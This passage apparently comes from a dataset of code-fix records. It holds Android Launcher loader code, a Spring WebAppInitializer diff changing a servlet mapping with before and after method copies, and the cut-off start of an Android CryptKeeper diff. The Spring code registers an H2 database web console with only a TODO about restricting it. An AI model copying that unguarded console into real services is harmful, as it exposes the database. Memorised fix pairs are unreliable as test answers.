sWorkspaceItems.add(info); break; default: // Item is in a user folder FolderInfo folderInfo = findOrMakeFolder(sFolders, container); folderInfo.add(info); break; } sItemsIdMap.put(info.id, info); // now that we've loaded everthing re-save it with the // icon in case it disappears somehow. queueIconToBeChecked(sDbIconCache, info, c, iconIndex); } else { // Failed to load the shortcut, probably because the // activity manager couldn't resolve it (maybe the app // was uninstalled), or the db row was somehow screwed up. // Delete it. id = c.getLong(idIndex); Log.e(TAG, "Error loading shortcut " + id + ", removing it"); contentResolver.delete(LauncherSettings.Favorites.getContentUri( id, false), null, null); } break; case LauncherSettings.Favorites.ITEM_TYPE_FOLDER: id = c.getLong(idIndex); FolderInfo folderInfo = findOrMakeFolder(sFolders, id); folderInfo.title = c.getString(titleIndex); folderInfo.id = id; container = c.getInt(containerIndex); folderInfo.container = container; folderInfo.screen = c.getInt(screenIndex); folderInfo.cellX = c.getInt(cellXIndex); folderInfo.cellY = c.getInt(cellYIndex); // check & update map of what's occupied if (!checkItemPlacement(occupied, folderInfo)) { break; } switch (container) { case LauncherSettings.Favorites.CONTAINER_DESKTOP: case LauncherSettings.Favorites.CONTAINER_HOTSEAT: sWorkspaceItems.add(folderInfo); break; } sItemsIdMap.put(folderInfo.id, folderInfo); sFolders.put(folderInfo.id, folderInfo); break; case LauncherSettings.Favorites.ITEM_TYPE_APPWIDGET: // Read all Launcher-specific widget details int appWidgetId = c.getInt(appWidgetIdIndex); id = c.getLong(idIndex); final AppWidgetProviderInfo provider = widgets.getAppWidgetInfo(appWidgetId); if (!isSafeMode && (provider == null || provider.provider == null || provider.provider.getPackageName() == null)) { Log.e(TAG, "Deleting widget that isn't installed anymore: id=" + id + " appWidgetId=" + appWidgetId); itemsToRemove.add(id); } else { appWidgetInfo = new LauncherAppWidgetInfo(appWidgetId, "5"); appWidgetInfo.id = id; appWidgetInfo.screen = c.getInt(screenIndex); appWidgetInfo.cellX = c.getInt(cellXIndex); appWidgetInfo.cellY = c.getInt(cellYIndex); appWidgetInfo.spanX = c.getInt(spanXIndex); appWidgetInfo.spanY = c.getInt(spanYIndex); container = c.getInt(containerIndex); if (container != LauncherSettings.Favorites.CONTAINER_DESKTOP && container != LauncherSettings.Favorites.CONTAINER_HOTSEAT) { Log.e(TAG, "Widget found where container " + "!= CONTAINER_DESKTOP nor CONTAINER_HOTSEAT - ignoring!"); continue; } appWidgetInfo.container = c.getInt(containerIndex); // check & update map of what's occupied if (!checkItemPlacement(occupied, appWidgetInfo)) { break; } sItemsIdMap.put(appWidgetInfo.id, appWidgetInfo); sAppWidgets.add(appWidgetInfo); } break; } } catch (Exception e) { Log.w(TAG, "Desktop items loading interrupted:", e); } } } finally { c.close(); } if (itemsToRemove.size() > 0) { ContentProviderClient client = contentResolver.acquireContentProviderClient( LauncherSettings.Favorites.CONTENT_URI); // Remove dead items for (long id : itemsToRemove) { if (DEBUG_LOADERS) { Log.d(TAG, "Removed id = " + id); } // Don't notify content observers try { client.delete(LauncherSettings.Favorites.getContentUri(id, false), null, null); } catch (RemoteException e) { Log.w(TAG, "Could not remove id = " + id); } } } if (DEBUG_LOADERS) { Log.d(TAG, "loaded workspace in " + (SystemClock.uptimeMillis()-t) + "ms"); Log.d(TAG, "workspace layout: "); for (int y = 0; y < mCellCountY; y++) { String line = ""; for (int s = 0; s < Launcher.SCREEN_COUNT; s++) { if (s > 0) { line += " | "; } for (int x = 0; x < mCellCountX; x++) { line += ((occupied[s][x][y] != null) ? "#" : "."); } } Log.d(TAG, "[ " + line + " ]"); } } } /** * Read everything out of our database. */ private void bindWorkspace() { final long t = SystemClock.uptimeMillis(); // Don't use these two variables in any of the callback runnables. // Otherwise we hold a reference to them. final Callbacks oldCallbacks = mCallbacks.get(); if (oldCallbacks == null) { // This launcher has exited and nobody bothered to tell us. Just bail. Log.w(TAG, "LoaderTask running with no launcher"); return; } int N; // Tell the workspace that we're about to start firing items at it mHandler.post(new Runnable() { public void run() { Callbacks callbacks = tryGetCallbacks(oldCallbacks); if (callbacks != null) { callbacks.startBinding(); } } }); // Unbind previously bound workspace items to prevent a leak of AppWidgetHostViews. final ArrayList<ItemInfo> workspaceItems = unbindWorkspaceItemsOnMainThread(); // Add the items to the workspace. N = workspaceItems.size(); for (int i=0; i<N; i+=ITEMS_CHUNK) { final int start = i; final int chunkSize = (i+ITEMS_CHUNK <= N) ? ITEMS_CHUNK : (N-i); mHandler.post(new Runnable() { public void run() { Callbacks callbacks = tryGetCallbacks(oldCallbacks); if (callbacks != null) { callbacks.bindItems(workspaceItems, start, start+chunkSize); } } }); } // Ensure that we don't use the same folders data structure on the main thread final HashMap<Long, FolderInfo> folders = new HashMap<Long, FolderInfo>(sFolders); mHandler.post(new Runnable() { public void run() { Callbacks callbacks = tryGetCallbacks(oldCallbacks); if (callbacks != null) { callbacks.bindFolders(folders); } } }); // Wait until the queue goes empty. mHandler.post(new Runnable() { public void run() { if (DEBUG_LOADERS) { Log.d(TAG, "Going to start binding widgets soon."); } } }); // Bind the widgets, one at a time. // WARNING: this is calling into the workspace from the background thread, // but since getCurrentScreen() just returns the int, we should be okay. This // is just a hint for the order, and if it's wrong, we'll be okay. // TODO: instead, we should have that push the current screen into here. final int currentScreen = oldCallbacks.getCurrentWorkspaceScreen(); N = sAppWidgets.size(); // once for the current screen for (int i=0; i<N; i++) { final LauncherAppWidgetInfo widget = sAppWidgets.get(i); if (widget.screen == currentScreen) { mHandler.post(new Runnable() { public void run() { Callbacks callbacks = tryGetCallbacks(oldCallbacks); if (callbacks != null) { callbacks.bindAppWidget(widget); } } }); } } // once for the other screens for (int i=0; i<N; i++) { final LauncherAppWidgetInfo widget = sAppWidgets.get(i); if (widget.screen != currentScreen) { mHandler.post(new Runnable() { public void run() { Callbacks callbacks = tryGetCallbacks(oldCallbacks); if (callbacks != null) { callbacks.bindAppWidget(widget); } } }); } } // Tell the workspace that we're done. mHandler.post(new Runnable() { public void run() { Callbacks callbacks = tryGetCallbacks(oldCallbacks); if (callbacks != null) { callbacks.finishBindingItems(); } } }); // If we're profiling, this is the last thing in the queue. mHandler.post(new Runnable() { public void run() { if (DEBUG_LOADERS) { Log.d(TAG, "bound workspace in " + (SystemClock.uptimeMillis()-t) + "ms"); } } }); } private void loadAndBindAllApps() { if (DEBUG_LOADERS) { Log.d(TAG, "loadAndBindAllApps mAllAppsLoaded=" + mAllAppsLoaded); } if (!mAllAppsLoaded) { loadAllAppsByBatch(); if (mStopped) { return; } mAllAppsLoaded = true; } else { onlyBindAllApps(); } } private void onlyBindAllApps() { final Callbacks oldCallbacks = mCallbacks.get(); if (oldCallbacks == null) { // This launcher has exited and nobody bothered to tell us. Just bail. Log.w(TAG, "LoaderTask running with no launcher (onlyBindAllApps)"); return; } // shallow copy final ArrayList<ApplicationInfo> list = (ArrayList<ApplicationInfo>)mAllAppsList.data.clone(); mHandler.post(new Runnable() { public void run() { final long t = SystemClock.uptimeMillis(); final Callbacks callbacks = tryGetCallbacks(oldCallbacks); if (callbacks != null) { callbacks.bindAllApplications(list); } if (DEBUG_LOADERS) { Log.d(TAG, "bound all " + list.size() + " apps from cache in " + (SystemClock.uptimeMillis()-t) + "ms"); } } }); } private void loadAllAppsByBatch() { final long t = DEBUG_LOADERS ? SystemClock.uptimeMillis() : 0; // Don't use these two variables in any of the callback runnables. // Otherwise we hold a reference to them. final Callbacks oldCallbacks = mCallbacks.get(); if (oldCallbacks == null) { // This launcher has exited and nobody bothered to tell us. Just bail. Log.w(TAG, "LoaderTask running with no launcher (loadAllAppsByBatch)"); return; } final Intent mainIntent = new Intent(Intent.ACTION_MAIN, null); mainIntent.addCategory(Intent.CATEGORY_LAUNCHER); final PackageManager packageManager = mContext.getPackageManager(); List<ResolveInfo> apps = null; int N = Integer.MAX_VALUE; int startIndex; int i=0; int batchSize = -1; while (i < N && !mStopped) { if (i == 0) { mAllAppsList.clear(); final long qiaTime = DEBUG_LOADERS ? SystemClock.uptimeMillis() : 0; apps = packageManager.queryIntentActivities(mainIntent, 0); if (DEBUG_LOADERS) { Log.d(TAG, "queryIntentActivities took " + (SystemClock.uptimeMillis()-qiaTime) + "ms"); } if (apps == null) { return; } N = apps.size(); if (DEBUG_LOADERS) { Log.d(TAG, "queryIntentActivities got " + N + " apps"); } if (N == 0) { // There are no apps?!? return; } if (mBatchSize == 0) { batchSize = N; } else { batchSize = mBatchSize; } final long sortTime = DEBUG_LOADERS ? SystemClock.uptimeMillis() : 0; Collections.sort(apps, new LauncherModel.ShortcutNameComparator(packageManager, mLabelCache)); if (DEBUG_LOADERS) { Log.d(TAG, "sort took " + (SystemClock.uptimeMillis()-sortTime) + "ms"); } } final long t2 = DEBUG_LOADERS ? SystemClock.uptimeMillis() : 0; startIndex = i; for (int j=0; i<N && j<batchSize; j++) { // This builds the icon bitmaps. mAllAppsList.add(new ApplicationInfo(packageManager, apps.get(i), mIconCache, mLabelCache, "6")); i++; } final boolean first = i <= batchSize; final Callbacks callbacks = tryGetCallbacks(oldCallbacks); final ArrayList<ApplicationInfo> added = mAllAppsList.added; mAllAppsList.added = new ArrayList<ApplicationInfo>(); mHandler.post(new Runnable() { public void run() { final long t = SystemClock.uptimeMillis(); if (callbacks != null) { if (first) { callbacks.bindAllApplications(added); } else { callbacks.bindAppsAdded(added); } if (DEBUG_LOADERS) { Log.d(TAG, "bound " + added.size() + " apps in " + (SystemClock.uptimeMillis() - t) + "ms"); } } else { Log.i(TAG, "not binding apps: no Launcher activity"); } } }); if (DEBUG_LOADERS) { Log.d(TAG, "batch of " + (i-startIndex) + " icons processed in " + (SystemClock.uptimeMillis()-t2) + "ms"); } if (mAllAppsLoadDelay > 0 && i < N) { try { if (DEBUG_LOADERS) { Log.d(TAG, "sleeping for " + mAllAppsLoadDelay + "ms"); } Thread.sleep(mAllAppsLoadDelay); } catch (InterruptedException exc) { } } } if (DEBUG_LOADERS) { Log.d(TAG, "cached all " + N + " apps in " + (SystemClock.uptimeMillis()-t) + "ms" + (mAllAppsLoadDelay > 0 ? " (including delay)" : "")); } } public void dumpState() { Log.d(TAG, "mLoaderTask.mContext=" + mContext); Log.d(TAG, "mLoaderTask.mWaitThread=" + mWaitThread); Log.d(TAG, "mLoaderTask.mIsLaunching=" + mIsLaunching); Log.d(TAG, "mLoaderTask.mStopped=" + mStopped); Log.d(TAG, "mLoaderTask.mLoadAndBindStepFinished=" + mLoadAndBindStepFinished); Log.d(TAG, "mItems size=" + sWorkspaceItems.size()); } } void enqueuePackageUpdated(PackageUpdatedTask task) { sWorker.post(task); } private class PackageUpdatedTask implements Runnable { int mOp; String[] mPackages; public static final int OP_NONE = 0; public static final int OP_ADD = 1; public static final int OP_UPDATE = 2; public static final int OP_REMOVE = 3; // uninstlled public static final int OP_UNAVAILABLE = 4; // external media unmounted public PackageUpdatedTask(int op, String[] packages) { mOp = op; mPackages = packages; } public void run() { final Context context = mApp; final String[] packages = mPackages; final int N = packages.length; switch (mOp) { case OP_ADD: for (int i=0; i<N; i++) { if (DEBUG_LOADERS) Log.d(TAG, "mAllAppsList.addPackage " + packages[i]); mAllAppsList.addPackage(context, packages[i]); } break; case OP_UPDATE: for (int i=0; i<N; i++) { if (DEBUG_LOADERS) Log.d(TAG, "mAllAppsList.updatePackage " + packages[i]); mAllAppsList.updatePackage(context, packages[i]); } break; case OP_REMOVE: case OP_UNAVAILABLE: for (int i=0; i<N; i++) { if (DEBUG_LOADERS) Log.d(TAG, "mAllAppsList.removePackage " + packages[i]); mAllAppsList.removePackage(packages[i]); } break; } ArrayList<ApplicationInfo> added = null; ArrayList<ApplicationInfo> removed = null; ArrayList<ApplicationInfo> modified = null; if (mAllAppsList.added.size() > 0) { added = mAllAppsList.added; mAllAppsList.added = new ArrayList<ApplicationInfo>(); } if (mAllAppsList.removed.size() > 0) { removed = mAllAppsList.removed; mAllAppsList.removed = new ArrayList<ApplicationInfo>(); for (ApplicationInfo info: removed) { mIconCache.remove(info.intent.getComponent()); } } if (mAllAppsList.modified.size() > 0) { modified = mAllAppsList.modified; mAllAppsList.modified = new ArrayList<ApplicationInfo>(); } final Callbacks callbacks = mCallbacks != null ? mCallbacks.get() : null; if (callbacks == null) { Log.w(TAG, "Nobody to tell about the new app. Launcher is probably loading."); return; } if (added != null) { final ArrayList<ApplicationInfo> addedFinal = added; mHandler.post(new Runnable() { public void run() { Callbacks cb = mCallbacks != null ? mCallbacks.get() : null; if (callbacks == cb && cb != null) { callbacks.bindAppsAdded(addedFinal); } } }); } if (modified != null) { final ArrayList<ApplicationInfo> modifiedFinal = modified; mHandler.post(new Runnable() { public void run() { Callbacks cb = mCallbacks != null ? mCallbacks.get() : null; if (callbacks == cb && cb != null) { callbacks.bindAppsUpdated(modifiedFinal); } } }); } if (removed != null) { final boolean permanent = mOp != OP_UNAVAILABLE; final ArrayList<ApplicationInfo> removedFinal = removed; mHandler.post(new Runnable() { public void run() { Callbacks cb = mCallbacks != null ? mCallbacks.get() : null; if (callbacks == cb && cb != null) { callbacks.bindAppsRemoved(removedFinal, permanent); } } }); } mHandler.post(new Runnable() { @Override public void run() { Callbacks cb = mCallbacks != null ? mCallbacks.get() : null; if (callbacks == cb && cb != null) { callbacks.bindPackagesUpdated(); } } }); } } /** * This is called from the code that adds shortcuts from the intent receiver. This * doesn't have a Cursor, but */ public ShortcutInfo getShortcutInfo(PackageManager manager, Intent intent, Context context) { return getShortcutInfo(manager, intent, context, null, -1, -1, null); } /** * Make an ShortcutInfo object for a shortcut that is an application. * * If c is not null, then it will be used to fill in missing data like the title and icon. */ public ShortcutInfo getShortcutInfo(PackageManager manager, Intent intent, Context context, Cursor c, int iconIndex, int titleIndex, HashMap<Object, CharSequence> labelCache) { Bitmap icon = null; final ShortcutInfo info = new ShortcutInfo("7"); ComponentName componentName = intent.getComponent(); if (componentName == null) { return null; } // TODO: See if the PackageManager knows about this case. If it doesn't // then return null & delete this. // the resource -- This may implicitly give us back the fallback icon, // but don't worry about that. All we're doing with usingFallbackIcon is // to avoid saving lots of copies of that in the database, and most apps // have icons anyway. final ResolveInfo resolveInfo = manager.resolveActivity(intent, 0); if (resolveInfo != null) { icon = mIconCache.getIcon(componentName, resolveInfo, labelCache); } // the db if (icon == null) { if (c != null) { icon = getIconFromCursor(c, iconIndex, context); } } // the fallback icon if (icon == null) { icon = getFallbackIcon(); info.usingFallbackIcon = true; } info.setIcon(icon); // from the resource if (resolveInfo != null) { ComponentName key = LauncherModel.getComponentNameFromResolveInfo(resolveInfo); if (labelCache != null && labelCache.containsKey(key)) { info.title = labelCache.get(key); } else { info.title = resolveInfo.activityInfo.loadLabel(manager); if (labelCache != null) { labelCache.put(key, info.title); } } } // from the db if (info.title == null) { if (c != null) { info.title = c.getString(titleIndex); } } // fall back to the class name of the activity if (info.title == null) { info.title = componentName.getClassName(); } info.itemType = LauncherSettings.Favorites.ITEM_TYPE_APPLICATION; return info; } /** * Make an ShortcutInfo object for a shortcut that isn't an application. */ private ShortcutInfo getShortcutInfo(Cursor c, Context context, int iconTypeIndex, int iconPackageIndex, int iconResourceIndex, int iconIndex, int titleIndex) { Bitmap icon = null; final ShortcutInfo info = new ShortcutInfo("8"); info.itemType = LauncherSettings.Favorites.ITEM_TYPE_SHORTCUT; // TODO: If there's an explicit component and we can't install that, delete it. info.title = c.getString(titleIndex); int iconType = c.getInt(iconTypeIndex); switch (iconType) { case LauncherSettings.Favorites.ICON_TYPE_RESOURCE: String packageName = c.getString(iconPackageIndex); String resourceName = c.getString(iconResourceIndex); PackageManager packageManager = context.getPackageManager(); info.customIcon = false; // the resource try { Resources resources = packageManager.getResourcesForApplication(packageName); if (resources != null) { final int id = resources.getIdentifier(resourceName, null, null); icon = Utilities.createIconBitmap( mIconCache.getFullResIcon(resources, id), context); } } catch (Exception e) { // drop this. we have other places to look for icons } // the db if (icon == null) { icon = getIconFromCursor(c, iconIndex, context); } // the fallback icon if (icon == null) { icon = getFallbackIcon(); info.usingFallbackIcon = true; } break; case LauncherSettings.Favorites.ICON_TYPE_BITMAP: icon = getIconFromCursor(c, iconIndex, context); if (icon == null) { icon = getFallbackIcon(); info.customIcon = false; info.usingFallbackIcon = true; } else { info.customIcon = true; } break; default: icon = getFallbackIcon(); info.usingFallbackIcon = true; info.customIcon = false; break; } info.setIcon(icon); return info; } Bitmap getIconFromCursor(Cursor c, int iconIndex, Context context) { if (false) { Log.d(TAG, "getIconFromCursor app=" + c.getString(c.getColumnIndexOrThrow(LauncherSettings.Favorites.TITLE))); } byte[] data = c.getBlob(iconIndex); try { return Utilities.createIconBitmap( BitmapFactory.decodeByteArray(data, 0, data.length), context); } catch (Exception e) { return null; } } ShortcutInfo addShortcut(Context context, Intent data, long container, int screen, int cellX, int cellY, boolean notify) { final ShortcutInfo info = infoFromShortcutIntent(context, data, null); addItemToDatabase(context, info, container, screen, cellX, cellY, notify); return info; } /** * Attempts to find an AppWidgetProviderInfo that matches the given component. */ AppWidgetProviderInfo findAppWidgetProviderInfoWithComponent(Context context, ComponentName component) { List<AppWidgetProviderInfo> widgets = AppWidgetManager.getInstance(context).getInstalledProviders(); for (AppWidgetProviderInfo info : widgets) { if (info.provider.equals(component)) { return info; } } return null; } /** * Returns a list of all the widgets that can handle configuration with a particular mimeType. */ List<WidgetMimeTypeHandlerData> resolveWidgetsForMimeType(Context context, String mimeType) { final PackageManager packageManager = context.getPackageManager(); final List<WidgetMimeTypeHandlerData> supportedConfigurationActivities = new ArrayList<WidgetMimeTypeHandlerData>(); final Intent supportsIntent = new Intent(InstallWidgetReceiver.ACTION_SUPPORTS_CLIPDATA_MIMETYPE); supportsIntent.setType(mimeType); // Create a set of widget configuration components that we can test against final List<AppWidgetProviderInfo> widgets = AppWidgetManager.getInstance(context).getInstalledProviders(); final HashMap<ComponentName, AppWidgetProviderInfo> configurationComponentToWidget = new HashMap<ComponentName, AppWidgetProviderInfo>(); for (AppWidgetProviderInfo info : widgets) { configurationComponentToWidget.put(info.configure, info); } // Run through each of the intents that can handle this type of clip data, and cross // reference them with the components that are actual configuration components final List<ResolveInfo> activities = packageManager.queryIntentActivities(supportsIntent, PackageManager.MATCH_DEFAULT_ONLY); for (ResolveInfo info : activities) { final ActivityInfo activityInfo = info.activityInfo; final ComponentName infoComponent = new ComponentName(activityInfo.packageName, activityInfo.name); if (configurationComponentToWidget.containsKey(infoComponent)) { supportedConfigurationActivities.add( new InstallWidgetReceiver.WidgetMimeTypeHandlerData(info, configurationComponentToWidget.get(infoComponent))); } } return supportedConfigurationActivities; } ShortcutInfo infoFromShortcutIntent(Context context, Intent data, Bitmap fallbackIcon) { Intent intent = data.getParcelableExtra(Intent.EXTRA_SHORTCUT_INTENT); String name = data.getStringExtra(Intent.EXTRA_SHORTCUT_NAME); Parcelable bitmap = data.getParcelableExtra(Intent.EXTRA_SHORTCUT_ICON); Bitmap icon = null; boolean customIcon = false; ShortcutIconResource iconResource = null; if (bitmap != null && bitmap instanceof Bitmap) { icon = Utilities.createIconBitmap(new FastBitmapDrawable((Bitmap)bitmap), context); customIcon = true; } else { Parcelable extra = data.getParcelableExtra(Intent.EXTRA_SHORTCUT_ICON_RESOURCE); if (extra != null && extra instanceof ShortcutIconResource) { try { iconResource = (ShortcutIconResource) extra; final PackageManager packageManager = context.getPackageManager(); Resources resources = packageManager.getResourcesForApplication( iconResource.packageName); final int id = resources.getIdentifier(iconResource.resourceName, null, null); icon = Utilities.createIconBitmap( mIconCache.getFullResIcon(resources, id), context); } catch (Exception e) { Log.w(TAG, "Could not load shortcut icon: " + extra); } } } final ShortcutInfo info = new ShortcutInfo("9"); if (icon == null) { if (fallbackIcon != null) { icon = fallbackIcon; } else { icon = getFallbackIcon(); info.usingFallbackIcon = true; } } info.setIcon(icon); info.title = name; info.intent = intent; info.customIcon = customIcon; info.iconResource = iconResource; return info; } boolean queueIconToBeChecked(HashMap<Object, byte[]> cache, ShortcutInfo info, Cursor c, int iconIndex) { // If apps can't be on SD, don't even bother. if (!mAppsCanBeOnExternalStorage) { return false; } // If this icon doesn't have a custom icon, check to see // what's stored in the DB, and if it doesn't match what // we're going to show, store what we are going to show back // into the DB. We do this so when we're loading, if the // package manager can't find an icon (for example because // the app is on SD) then we can use that instead. if (!info.customIcon && !info.usingFallbackIcon) { cache.put(info, c.getBlob(iconIndex)); return true; } return false; } void updateSavedIcon(Context context, ShortcutInfo info, byte[] data) { boolean needSave = false; try { if (data != null) { Bitmap saved = BitmapFactory.decodeByteArray(data, 0, data.length); Bitmap loaded = info.getIcon(mIconCache); needSave = !saved.sameAs(loaded); } else { needSave = true; } } catch (Exception e) { needSave = true; } if (needSave) { Log.d(TAG, "going to save icon bitmap for info=" + info); // This is slower than is ideal, but this only happens once // or when the app is updated with a new icon. updateItemInDatabase(context, info); } } /** * Return an existing FolderInfo object if we have encountered this ID previously, * or make a new one. */ private static FolderInfo findOrMakeFolder(HashMap<Long, FolderInfo> folders, long id) { // See if a placeholder was created for us already FolderInfo folderInfo = folders.get(id); if (folderInfo == null) { // No placeholder -- create a new instance folderInfo = new FolderInfo("10"); folders.put(id, folderInfo); } return folderInfo; } private static final Collator sCollator = Collator.getInstance(); public static final Comparator<ApplicationInfo> APP_NAME_COMPARATOR = new Comparator<ApplicationInfo>() { public final int compare(ApplicationInfo a, ApplicationInfo b) { int result = sCollator.compare(a.title.toString(), b.title.toString()); if (result == 0) { result = a.componentName.compareTo(b.componentName); } return result; } }; public static final Comparator<ApplicationInfo> APP_INSTALL_TIME_COMPARATOR = new Comparator<ApplicationInfo>() { public final int compare(ApplicationInfo a, ApplicationInfo b) { if (a.firstInstallTime < b.firstInstallTime) return 1; if (a.firstInstallTime > b.firstInstallTime) return -1; return 0; } }; public static final Comparator<AppWidgetProviderInfo> WIDGET_NAME_COMPARATOR = new Comparator<AppWidgetProviderInfo>() { public final int compare(AppWidgetProviderInfo a, AppWidgetProviderInfo b) { return sCollator.compare(a.label.toString(), b.label.toString()); } }; static ComponentName getComponentNameFromResolveInfo(ResolveInfo info) { if (info.activityInfo != null) { return new ComponentName(info.activityInfo.packageName, info.activityInfo.name); } else { return new ComponentName(info.serviceInfo.packageName, info.serviceInfo.name); } } public static class ShortcutNameComparator implements Comparator<ResolveInfo> { private PackageManager mPackageManager; private HashMap<Object, CharSequence> mLabelCache; ShortcutNameComparator(PackageManager pm) { mPackageManager = pm; mLabelCache = new HashMap<Object, CharSequence>(); } ShortcutNameComparator(PackageManager pm, HashMap<Object, CharSequence> labelCache) { mPackageManager = pm; mLabelCache = labelCache; } public final int compare(ResolveInfo a, ResolveInfo b) { CharSequence labelA, labelB; ComponentName keyA = LauncherModel.getComponentNameFromResolveInfo(a); ComponentName keyB = LauncherModel.getComponentNameFromResolveInfo(b); if (mLabelCache.containsKey(keyA)) { labelA = mLabelCache.get(keyA); } else { labelA = a.loadLabel(mPackageManager).toString(); mLabelCache.put(keyA, labelA); } if (mLabelCache.containsKey(keyB)) { labelB = mLabelCache.get(keyB); } else { labelB = b.loadLabel(mPackageManager).toString(); mLabelCache.put(keyB, labelB); } return sCollator.compare(labelA, labelB); } }; public static class WidgetAndShortcutNameComparator implements Comparator<Object> { private PackageManager mPackageManager; private HashMap<Object, String> mLabelCache; WidgetAndShortcutNameComparator(PackageManager pm) { mPackageManager = pm; mLabelCache = new HashMap<Object, String>(); } public final int compare(Object a, Object b) { String labelA, labelB; if (mLabelCache.containsKey(a)) { labelA = mLabelCache.get(a); } else { labelA = (a instanceof AppWidgetProviderInfo) ? ((AppWidgetProviderInfo) a).label : ((ResolveInfo) a).loadLabel(mPackageManager).toString(); mLabelCache.put(a, labelA); } if (mLabelCache.containsKey(b)) { labelB = mLabelCache.get(b); } else { labelB = (b instanceof AppWidgetProviderInfo) ? ((AppWidgetProviderInfo) b).label : ((ResolveInfo) b).loadLabel(mPackageManager).toString(); mLabelCache.put(b, labelB); } return sCollator.compare(labelA, labelB); } }; public void dumpState() { Log.d(TAG, "mCallbacks=" + mCallbacks); ApplicationInfo.dumpApplicationInfoList(TAG, "mAllAppsList.data", mAllAppsList.data); ApplicationInfo.dumpApplicationInfoList(TAG, "mAllAppsList.added", mAllAppsList.added); ApplicationInfo.dumpApplicationInfoList(TAG, "mAllAppsList.removed", mAllAppsList.removed); ApplicationInfo.dumpApplicationInfoList(TAG, "mAllAppsList.modified", mAllAppsList.modified); if (mLoaderTask != null) { mLoaderTask.dumpState(); } else { Log.d(TAG, "mLoaderTask=null"); } } }
diff --git a/beer30-web-webapp/src/main/java/com/github/darogina/beer30/WebAppInitializer.java b/beer30-web-webapp/src/main/java/com/github/darogina/beer30/WebAppInitializer.java index 479a822..4af4119 100644 --- a/beer30-web-webapp/src/main/java/com/github/darogina/beer30/WebAppInitializer.java +++ b/beer30-web-webapp/src/main/java/com/github/darogina/beer30/WebAppInitializer.java @@ -1,36 +1,36 @@ package com.github.darogina.beer30; import javax.servlet.ServletContext; import javax.servlet.ServletException; import javax.servlet.ServletRegistration; import org.h2.server.web.WebServlet; import org.springframework.web.WebApplicationInitializer; import org.springframework.web.context.ContextLoaderListener; import org.springframework.web.context.support.XmlWebApplicationContext; import org.springframework.web.servlet.DispatcherServlet; /** * This class replaces the "old" web.xml and is automatically scanned at the application startup */ public class WebAppInitializer implements WebApplicationInitializer { @Override public void onStartup(ServletContext servletContext) throws ServletException { XmlWebApplicationContext appContext = new XmlWebApplicationContext(); appContext.getEnvironment().setActiveProfiles("resthub-jpa", "resthub-web-server"); String[] locations = { "classpath*:resthubContext.xml", "classpath*:applicationContext.xml" }; appContext.setConfigLocations(locations); ServletRegistration.Dynamic dispatcher = servletContext.addServlet("dispatcher", new DispatcherServlet(appContext)); dispatcher.setLoadOnStartup(1); - dispatcher.addMapping("/*"); + dispatcher.addMapping("/"); servletContext.addListener(new ContextLoaderListener(appContext)); //Database Console for managing the app's database (TODO : profile) ServletRegistration.Dynamic h2Servlet = servletContext.addServlet("h2console", WebServlet.class); h2Servlet.setLoadOnStartup(2); h2Servlet.addMapping("/console/database/*"); } }
true
true
public void onStartup(ServletContext servletContext) throws ServletException { XmlWebApplicationContext appContext = new XmlWebApplicationContext(); appContext.getEnvironment().setActiveProfiles("resthub-jpa", "resthub-web-server"); String[] locations = { "classpath*:resthubContext.xml", "classpath*:applicationContext.xml" }; appContext.setConfigLocations(locations); ServletRegistration.Dynamic dispatcher = servletContext.addServlet("dispatcher", new DispatcherServlet(appContext)); dispatcher.setLoadOnStartup(1); dispatcher.addMapping("/*"); servletContext.addListener(new ContextLoaderListener(appContext)); //Database Console for managing the app's database (TODO : profile) ServletRegistration.Dynamic h2Servlet = servletContext.addServlet("h2console", WebServlet.class); h2Servlet.setLoadOnStartup(2); h2Servlet.addMapping("/console/database/*"); }
public void onStartup(ServletContext servletContext) throws ServletException { XmlWebApplicationContext appContext = new XmlWebApplicationContext(); appContext.getEnvironment().setActiveProfiles("resthub-jpa", "resthub-web-server"); String[] locations = { "classpath*:resthubContext.xml", "classpath*:applicationContext.xml" }; appContext.setConfigLocations(locations); ServletRegistration.Dynamic dispatcher = servletContext.addServlet("dispatcher", new DispatcherServlet(appContext)); dispatcher.setLoadOnStartup(1); dispatcher.addMapping("/"); servletContext.addListener(new ContextLoaderListener(appContext)); //Database Console for managing the app's database (TODO : profile) ServletRegistration.Dynamic h2Servlet = servletContext.addServlet("h2console", WebServlet.class); h2Servlet.setLoadOnStartup(2); h2Servlet.addMapping("/console/database/*"); }
diff --git a/src/com/android/settings/CryptKeeper.java b/src/com/android/settings/CryptKeeper.java index d58dddb93..655d8ad26 100644 --- a/src/com/android/settings/CryptKeeper.java +++ b/src/com/android/settings/CryptKeeper.java @@ -1,598 +1,594 @@ /* * Copyright (C) 2011 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.android.settings; import android.app.Activity; import android.app.StatusBarManager; import android.content.ComponentName; import android.content.Context; import android.content.Intent; import android.content.pm.PackageManager; import android.os.AsyncTask; import android.os.Bundle; import android.os.Handler; import android.os.IBinder; import android.os.Message; import android.os.PowerManager; import android.os.RemoteException; import android.os.ServiceManager; import android.os.SystemProperties; import android.os.storage.IMountService; import android.telephony.TelephonyManager; import android.text.TextUtils; import android.util.Log; import android.view.KeyEvent; import android.view.View; import android.view.View.OnClickListener; import android.view.inputmethod.EditorInfo; import android.view.inputmethod.InputMethodInfo; import android.view.inputmethod.InputMethodManager; import android.view.inputmethod.InputMethodSubtype; import android.widget.Button; import android.widget.EditText; import android.widget.ProgressBar; import android.widget.TextView; import com.android.internal.telephony.ITelephony; import java.util.List; /** * Settings screens to show the UI flows for encrypting/decrypting the device. * * This may be started via adb for debugging the UI layout, without having to go through * encryption flows everytime. It should be noted that starting the activity in this manner * is only useful for verifying UI-correctness - the behavior will not be identical. * <pre> * $ adb shell pm enable com.android.settings/.CryptKeeper * $ adb shell am start \ * -e "com.android.settings.CryptKeeper.DEBUG_FORCE_VIEW" "progress" \ * -n com.android.settings/.CryptKeeper * </pre> */ public class CryptKeeper extends Activity implements TextView.OnEditorActionListener { private static final String TAG = "CryptKeeper"; private static final String DECRYPT_STATE = "trigger_restart_framework"; private static final int UPDATE_PROGRESS = 1; private static final int COOLDOWN = 2; private static final int MAX_FAILED_ATTEMPTS = 30; private static final int COOL_DOWN_ATTEMPTS = 10; private static final int COOL_DOWN_INTERVAL = 30; // 30 seconds // Intent action for launching the Emergency Dialer activity. static final String ACTION_EMERGENCY_DIAL = 